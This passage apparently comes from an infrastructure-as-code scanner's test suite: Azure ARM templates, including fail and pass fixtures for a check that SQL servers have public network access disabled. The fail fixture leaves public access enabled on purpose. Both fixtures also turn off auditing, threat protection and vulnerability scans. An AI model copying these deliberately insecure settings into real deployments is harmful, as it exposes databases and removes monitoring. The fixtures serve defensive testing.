"adminPassword": { "type": "securestring", "metadata": { "description": "Password for admin" } } }, "variables": { "databaseServerName": "[toLower(parameters('serverName'))]", "databaseNames": "[parameters('databaseNames')]", "databaseServerLocation": "[parameters('location')]", "databaseServerAdminLogin": "[parameters('adminUser')]", "databaseServerAdminLoginPassword": "[parameters('adminPassword')]", "emailAddresses": "[parameters('emailAddresses')]" }, "resources": [{ "type": "Microsoft.Sql/servers", "apiVersion": "2015-05-01-preview", "location": "[variables('databaseServerLocation')]", "name": "[variables('databaseServerName')]", "properties": { "administratorLogin": "[variables('databaseServerAdminLogin')]", "administratorLoginPassword": "[variables('databaseServerAdminLoginPassword')]", "version": "12.0" }, "tags": { "DisplayName": "[variables('databaseServerName')]" } }, { "apiVersion": "2017-10-01-preview", "type": "Microsoft.Sql/servers/databases", "sku": { "name": "S0", "tier": "Standard" }, "kind": "v12.0,user", "location": "[variables('databaseServerLocation')]", "name": "[concat(string(variables('databaseServerName')), '/', string(variables('databaseNames')[copyIndex()]))]", "dependsOn": ["[concat('Microsoft.Sql/servers/', variables('databaseServerName'))]"], "tags": { "DisplayName": "[variables('databaseServerName')]" }, "copy": { "name": "databaseCopy", "count": "[length(variables('databaseNames'))]" }, "properties": {}, "resources": [{ "apiVersion": "2014-04-01", "type": "securityAlertPolicies", "name": "default", "dependsOn": ["[concat('Microsoft.Sql/servers/', variables('databaseServerName'), '/databases/', variables('databaseNames')[copyIndex()])]"], "properties": { "state": "Enabled", "emailAddresses": "[variables('emailAddresses')[copyIndex()]]", "emailAccountAdmins": true } }] } ] } ================================================ FILE: tests/arm/checks/resource/example_SQLServerHasPublicAccessDisabled/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "vulnerabilityAssessments_Default_storageContainerPath": { "type": "SecureString" }, "servers_exampleamssqlserver_name": { "defaultValue": "exampleamssqlserver", "type": "String" } }, "variables": {}, "resources": [ { "type": "Microsoft.Sql/servers", "apiVersion": "2022-11-01-preview", "name": "fail", "location": "westus", "tags": { "createdby": "terraform", "module": "terraform-azurerm-mssqlserver" }, "kind": "v12.0", "identity": { "type": "SystemAssigned" }, "properties": { "administratorLogin": "supaman", "version": "12.0", "minimalTlsVersion": "1.2", "publicNetworkAccess": "Enabled", "restrictOutboundNetworkAccess": "Disabled" } }, { "type": "Microsoft.Sql/servers/advancedThreatProtectionSettings", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "state": "Disabled" } }, { "type": "Microsoft.Sql/servers/advisors", "apiVersion": "2014-04-01", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/CreateIndex')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "autoExecuteValue": "Disabled" } }, { "type": "Microsoft.Sql/servers/advisors", "apiVersion": "2014-04-01", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/DbParameterization')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "autoExecuteValue": "Disabled" } }, { "type": "Microsoft.Sql/servers/advisors", "apiVersion": "2014-04-01", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/DefragmentIndex')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "autoExecuteValue": "Disabled" } }, { "type": "Microsoft.Sql/servers/advisors", "apiVersion": "2014-04-01", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/DropIndex')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "autoExecuteValue": "Disabled" } }, { "type": "Microsoft.Sql/servers/advisors", "apiVersion": "2014-04-01", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/ForceLastGoodPlan')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "autoExecuteValue": "Enabled" } }, { "type": "Microsoft.Sql/servers/auditingPolicies", "apiVersion": "2014-04-01", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/Default')]", "location": "West US", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "auditingState": "Disabled" } }, { "type": "Microsoft.Sql/servers/auditingSettings", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "retentionDays": 0, "auditActionsAndGroups": [], "isStorageSecondaryKeyInUse": false, "isAzureMonitorTargetEnabled": false, "isManagedIdentityInUse": false, "state": "Disabled", "storageAccountSubscriptionId": "00000000-0000-0000-0000-000000000000" } }, { "type": "Microsoft.Sql/servers/connectionPolicies", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/default')]", "location": "westus", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "connectionType": "Default" } }, { "type": "Microsoft.Sql/servers/databases", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase')]", "location": "westus", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "sku": { "name": "GP_Gen5", "tier": "GeneralPurpose", "family": "Gen5", "capacity": 2 }, "kind": "v12.0,user,vcore", "properties": { "collation": "SQL_Latin1_General_CP1_CI_AS", "maxSizeBytes": 34359738368, "catalogCollation": "SQL_Latin1_General_CP1_CI_AS", "zoneRedundant": false, "licenseType": "LicenseIncluded", "readScale": "Disabled", "requestedBackupStorageRedundancy": "Geo", "maintenanceConfigurationId": "/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/providers/Microsoft.Maintenance/publicMaintenanceConfigurations/SQL_Default", "isLedgerOn": false, "availabilityZone": "NoPreference" } }, { "type": "Microsoft.Sql/servers/databases/advancedThreatProtectionSettings", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/master/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "state": "Disabled" } }, { "type": "Microsoft.Sql/servers/databases/auditingPolicies", "apiVersion": "2014-04-01", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/master/Default')]", "location": "West US", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "auditingState": "Disabled" } }, { "type": "Microsoft.Sql/servers/databases/auditingSettings", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/master/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "retentionDays": 0, "isAzureMonitorTargetEnabled": false, "state": "Disabled", "storageAccountSubscriptionId": "00000000-0000-0000-0000-000000000000" } }, { "type": "Microsoft.Sql/servers/databases/extendedAuditingSettings", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/master/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "retentionDays": 0, "isAzureMonitorTargetEnabled": false, "state": "Disabled", "storageAccountSubscriptionId": "00000000-0000-0000-0000-000000000000" } }, { "type": "Microsoft.Sql/servers/databases/geoBackupPolicies", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/master/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "state": "Disabled" } }, { "type": "Microsoft.Sql/servers/databases/ledgerDigestUploads", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/master/Current')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": {} }, { "type": "Microsoft.Sql/servers/databases/securityAlertPolicies", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/master/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "state": "Disabled", "disabledAlerts": [ "" ], "emailAddresses": [ "" ], "emailAccountAdmins": false, "retentionDays": 0 } }, { "type": "Microsoft.Sql/servers/databases/transparentDataEncryption", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/master/Current')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "state": "Disabled" } }, { "type": "Microsoft.Sql/servers/databases/vulnerabilityAssessments", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/master/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "recurringScans": { "isEnabled": false, "emailSubscriptionAdmins": true } } }, { "type": "Microsoft.Sql/servers/devOpsAuditingSettings", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "isAzureMonitorTargetEnabled": false, "isManagedIdentityInUse": false, "state": "Disabled", "storageAccountSubscriptionId": "00000000-0000-0000-0000-000000000000" } }, { "type": "Microsoft.Sql/servers/encryptionProtector", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/current')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "kind": "servicemanaged", "properties": { "serverKeyName": "ServiceManaged", "serverKeyType": "ServiceManaged", "autoRotationEnabled": false } }, { "type": "Microsoft.Sql/servers/extendedAuditingSettings", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "retentionDays": 0, "auditActionsAndGroups": [], "isStorageSecondaryKeyInUse": false, "isAzureMonitorTargetEnabled": false, "isManagedIdentityInUse": false, "state": "Disabled", "storageAccountSubscriptionId": "00000000-0000-0000-0000-000000000000" } }, { "type": "Microsoft.Sql/servers/keys", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/ServiceManaged')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "kind": "servicemanaged", "properties": { "serverKeyType": "ServiceManaged" } }, { "type": "Microsoft.Sql/servers/securityAlertPolicies", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "state": "Disabled", "disabledAlerts": [ "" ], "emailAddresses": [ "" ], "emailAccountAdmins": false, "retentionDays": 0 } }, { "type": "Microsoft.Sql/servers/sqlVulnerabilityAssessments", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "state": "Disabled" } }, { "type": "Microsoft.Sql/servers/vulnerabilityAssessments", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "recurringScans": { "isEnabled": false, "emailSubscriptionAdmins": true }, "storageContainerPath": "[parameters('vulnerabilityAssessments_Default_storageContainerPath')]" } }, { "type": "Microsoft.Sql/servers/databases/advancedThreatProtectionSettings", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]", "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "state": "Disabled" } }, { "type": "Microsoft.Sql/servers/databases/advisors", "apiVersion": "2014-04-01", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/CreateIndex')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]", "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "autoExecuteValue": "Disabled" } }, { "type": "Microsoft.Sql/servers/databases/advisors", "apiVersion": "2014-04-01", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/DbParameterization')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]", "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "autoExecuteValue": "Disabled" } }, { "type": "Microsoft.Sql/servers/databases/advisors", "apiVersion": "2014-04-01", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/DefragmentIndex')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]", "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "autoExecuteValue": "Disabled" } }, { "type": "Microsoft.Sql/servers/databases/advisors", "apiVersion": "2014-04-01", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/DropIndex')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]", "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "autoExecuteValue": "Disabled" } }, { "type": "Microsoft.Sql/servers/databases/advisors", "apiVersion": "2014-04-01", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/ForceLastGoodPlan')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]", "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "autoExecuteValue": "Enabled" } }, { "type": "Microsoft.Sql/servers/databases/auditingPolicies", "apiVersion": "2014-04-01", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Default')]", "location": "West US", "dependsOn": [ "[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]", "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "auditingState": "Disabled" } }, { "type": "Microsoft.Sql/servers/databases/auditingSettings", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]", "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "retentionDays": 0, "isAzureMonitorTargetEnabled": false, "state": "Disabled", "storageAccountSubscriptionId": "00000000-0000-0000-0000-000000000000" } }, { "type": "Microsoft.Sql/servers/databases/backupLongTermRetentionPolicies", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]", "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "weeklyRetention": "PT0S", "monthlyRetention": "PT0S", "yearlyRetention": "PT0S", "weekOfYear": 0 } }, { "type": "Microsoft.Sql/servers/databases/backupShortTermRetentionPolicies", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]", "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "retentionDays": 7, "diffBackupIntervalInHours": 12 } }, { "type": "Microsoft.Sql/servers/databases/extendedAuditingSettings", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]", "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "retentionDays": 0, "isAzureMonitorTargetEnabled": false, "state": "Disabled", "storageAccountSubscriptionId": "00000000-0000-0000-0000-000000000000" } }, { "type": "Microsoft.Sql/servers/databases/geoBackupPolicies", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]", "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "state": "Enabled" } }, { "type": "Microsoft.Sql/servers/databases/ledgerDigestUploads", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Current')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]", "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": {} }, { "type": "Microsoft.Sql/servers/databases/securityAlertPolicies", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]", "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "state": "Disabled", "disabledAlerts": [ "" ], "emailAddresses": [ "" ], "emailAccountAdmins": false, "retentionDays": 0 } }, { "type": "Microsoft.Sql/servers/databases/transparentDataEncryption", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Current')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]", "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "state": "Enabled" } }, { "type": "Microsoft.Sql/servers/databases/vulnerabilityAssessments", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]", "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "recurringScans": { "isEnabled": false, "emailSubscriptionAdmins": true } } } ] } ================================================ FILE: tests/arm/checks/resource/example_SQLServerHasPublicAccessDisabled/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "vulnerabilityAssessments_Default_storageContainerPath": { "type": "SecureString" }, "servers_exampleamssqlserver_name": { "defaultValue": "exampleamssqlserver", "type": "String" } }, "variables": {}, "resources": [ { "type": "Microsoft.Sql/servers", "apiVersion": "2022-11-01-preview", "name": "pass", "location": "westus", "tags": { "createdby": "terraform", "module": "terraform-azurerm-mssqlserver" }, "kind": "v12.0", "identity": { "type": "SystemAssigned" }, "properties": { "administratorLogin": "supaman", "version": "12.0", "minimalTlsVersion": "1.2", "publicNetworkAccess": "Disabled", "restrictOutboundNetworkAccess": "Disabled" } }, { "type": "Microsoft.Sql/servers/advancedThreatProtectionSettings", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "state": "Disabled" } }, { "type": "Microsoft.Sql/servers/advisors", "apiVersion": "2014-04-01", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/CreateIndex')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "autoExecuteValue": "Disabled" } }, { "type": "Microsoft.Sql/servers/advisors", "apiVersion": "2014-04-01", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/DbParameterization')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "autoExecuteValue": "Disabled" } }, { "type": "Microsoft.Sql/servers/advisors", "apiVersion": "2014-04-01", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/DefragmentIndex')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "autoExecuteValue": "Disabled" } }, { "type": "Microsoft.Sql/servers/advisors", "apiVersion": "2014-04-01", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/DropIndex')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "autoExecuteValue": "Disabled" } }, { "type": "Microsoft.Sql/servers/advisors", "apiVersion": "2014-04-01", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/ForceLastGoodPlan')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "autoExecuteValue": "Enabled" } }, { "type": "Microsoft.Sql/servers/auditingPolicies", "apiVersion": "2014-04-01", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/Default')]", "location": "West US", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "auditingState": "Disabled" } }, { "type": "Microsoft.Sql/servers/auditingSettings", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "retentionDays": 0, "auditActionsAndGroups": [], "isStorageSecondaryKeyInUse": false, "isAzureMonitorTargetEnabled": false, "isManagedIdentityInUse": false, "state": "Disabled", "storageAccountSubscriptionId": "00000000-0000-0000-0000-000000000000" } }, { "type": "Microsoft.Sql/servers/connectionPolicies", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/default')]", "location": "westus", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "connectionType": "Default" } }, { "type": "Microsoft.Sql/servers/databases", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase')]", "location": "westus", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "sku": { "name": "GP_Gen5", "tier": "GeneralPurpose", "family": "Gen5", "capacity": 2 }, "kind": "v12.0,user,vcore", "properties": { "collation": "SQL_Latin1_General_CP1_CI_AS", "maxSizeBytes": 34359738368, "catalogCollation": "SQL_Latin1_General_CP1_CI_AS", "zoneRedundant": false, "licenseType": "LicenseIncluded", "readScale": "Disabled", "requestedBackupStorageRedundancy": "Geo", "maintenanceConfigurationId": "/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/providers/Microsoft.Maintenance/publicMaintenanceConfigurations/SQL_Default", "isLedgerOn": false, "availabilityZone": "NoPreference" } }, { "type": "Microsoft.Sql/servers/databases/advancedThreatProtectionSettings", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/master/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "state": "Disabled" } }, { "type": "Microsoft.Sql/servers/databases/auditingPolicies", "apiVersion": "2014-04-01", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/master/Default')]", "location": "West US", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "auditingState": "Disabled" } }, { "type": "Microsoft.Sql/servers/databases/auditingSettings", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/master/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "retentionDays": 0, "isAzureMonitorTargetEnabled": false, "state": "Disabled", "storageAccountSubscriptionId": "00000000-0000-0000-0000-000000000000" } }, { "type": "Microsoft.Sql/servers/databases/extendedAuditingSettings", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/master/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "retentionDays": 0, "isAzureMonitorTargetEnabled": false, "state": "Disabled", "storageAccountSubscriptionId": "00000000-0000-0000-0000-000000000000" } }, { "type": "Microsoft.Sql/servers/databases/geoBackupPolicies", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/master/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "state": "Disabled" } }, { "type": "Microsoft.Sql/servers/databases/ledgerDigestUploads", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/master/Current')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": {} }, { "type": "Microsoft.Sql/servers/databases/securityAlertPolicies", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/master/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "state": "Disabled", "disabledAlerts": [ "" ], "emailAddresses": [ "" ], "emailAccountAdmins": false, "retentionDays": 0 } }, { "type": "Microsoft.Sql/servers/databases/transparentDataEncryption", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/master/Current')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "state": "Disabled" } }, { "type": "Microsoft.Sql/servers/databases/vulnerabilityAssessments", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/master/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "recurringScans": { "isEnabled": false, "emailSubscriptionAdmins": true } } }, { "type": "Microsoft.Sql/servers/devOpsAuditingSettings", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "isAzureMonitorTargetEnabled": false, "isManagedIdentityInUse": false, "state": "Disabled", "storageAccountSubscriptionId": "00000000-0000-0000-0000-000000000000" } }, { "type": "Microsoft.Sql/servers/encryptionProtector", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/current')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "kind": "servicemanaged", "properties": { "serverKeyName": "ServiceManaged", "serverKeyType": "ServiceManaged", "autoRotationEnabled": false } }, { "type": "Microsoft.Sql/servers/extendedAuditingSettings", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "retentionDays": 0, "auditActionsAndGroups": [], "isStorageSecondaryKeyInUse": false, "isAzureMonitorTargetEnabled": false, "isManagedIdentityInUse": false, "state": "Disabled", "storageAccountSubscriptionId": "00000000-0000-0000-0000-000000000000" } }, { "type": "Microsoft.Sql/servers/keys", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/ServiceManaged')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "kind": "servicemanaged", "properties": { "serverKeyType": "ServiceManaged" } }, { "type": "Microsoft.Sql/servers/securityAlertPolicies", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/Default')]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]" ], "properties": { "state": "Disabled", "disabledAlerts": [ "" ], "emailAddresses": [ "" ], "emailAccountAdmins": false, "retentionDays": 0 } }, { "type": "Microsoft.Sql/servers/sqlVulnerabilityAssessments", "apiVersion": "2022-11-01-preview", "name": "[concat(parameters('servers_exampleamssqlserver_name'), '/Default')]", "dependsOn": [ 